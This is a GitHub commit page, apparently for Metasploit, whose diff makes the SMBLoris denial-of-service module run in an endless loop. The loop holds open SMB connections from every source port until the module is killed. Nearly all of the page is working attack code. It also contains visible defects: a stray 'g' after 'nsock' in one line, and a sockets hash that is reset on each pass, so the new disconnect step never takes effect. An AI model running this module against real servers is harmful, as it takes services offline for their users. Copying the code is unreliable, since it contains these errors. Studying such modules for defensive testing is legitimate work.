Skip to content

Commit 67e86da

Browse files
David MaloneyDavid Maloney
authored andcommitted
make SMBLoris run continuously as requested
as per ZeroSum's request the module now runs continuously, refreshing the connections on every pass until manually killed
1 parent 289f032 commit 67e86da

File tree

1 file changed

+25
-18
lines changed

1 file changed

+25
-18
lines changed

modules/auxiliary/dos/smb/smb_loris.rb

Lines changed: 25 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -29,7 +29,8 @@ def initialize(info = {})
2929
and Zach Harding.
3030
3131
DISCALIMER: This module opens a lot of simultaneous connections. Please check
32-
your system's ULIMIT to make sure it can handle it.
32+
your system's ULIMIT to make sure it can handle it. This module will also run
33+
continuously until stopped.
3334
},
3435
'Author' =>
3536
[
@@ -55,27 +56,33 @@ def run
5556

5657
linger = Socket::Option.linger(true, 60)
5758

59+
while true do
60+
sockets = {}
61+
(1025..65535).each do |src_port|
62+
print_status "Sending packet from Source Port: #{src_port}"
63+
opts = {
64+
'CPORT' => src_port,
65+
'ConnectTimeout' => 360
66+
}
5867

59-
(1025..65535).each do |src_port|
60-
print_status "Sending packet from Source Port: #{src_port}"
61-
opts = {
62-
'CPORT' => src_port,
63-
'ConnectTimeout' => 360
64-
}
68+
if sockets[src_port]
69+
disconnect(sockets[src_port])
70+
end
6571

66-
begin
67-
nsock = connect(false, opts)
68-
nsock.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, true)
69-
nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPCNT, 5))
70-
nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPINTVL, 10))
71-
nsock.setsockopt(linger)
72-
nsock.write(header.to_binary_s)
73-
rescue ::Exception => e
74-
print_error "Exception sending packet: #{e.message}"
72+
begin
73+
nsock = connect(false, opts)
74+
nsock.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, true)
75+
nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPCNT, 5))
76+
nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPINTVL, 10))
77+
nsock.setsockopt(linger)
78+
nsock.write(header.to_binary_s)
79+
sockets[src_port] = nsock g
80+
rescue ::Exception => e
81+
print_error "Exception sending packet: #{e.message}"
82+
end
7583
end
7684
end
77-
print_status "Sleeping for 30 seconds..."
78-
select(nil, nil, nil, 30)
85+
7986

8087
end
8188

0 commit comments

Comments
 (0)